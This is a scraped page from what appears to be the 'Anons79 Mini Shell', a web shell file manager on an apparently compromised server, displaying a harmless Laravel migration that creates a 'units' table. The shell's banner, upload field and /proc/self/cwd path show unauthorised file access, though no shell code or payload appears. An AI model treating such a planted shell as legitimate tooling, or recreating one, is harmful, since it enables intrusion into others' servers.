Anons79 Mini Shell

Directory : /proc/self/cwd/database/migrations/
Upload File :
Current File : //proc/self/cwd/database/migrations/2022_10_21_051448_create_units_table.php

<?php

use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

class CreateUnitsTable extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        Schema::create('units', function (Blueprint $table) {
            $table->integer('id', true);
            $table->string('kode', 50);
            $table->integer('jenis_unit_id')->index('unit_id');
            $table->string('no_sn', 100);
            $table->string('no_en', 100);
            $table->string('operator', 25)->nullable();
            $table->timestamp('created_at')->useCurrent();
            $table->timestamp('updated_at')->default('0000-00-00 00:00:00');
        });
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::dropIfExists('units');
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]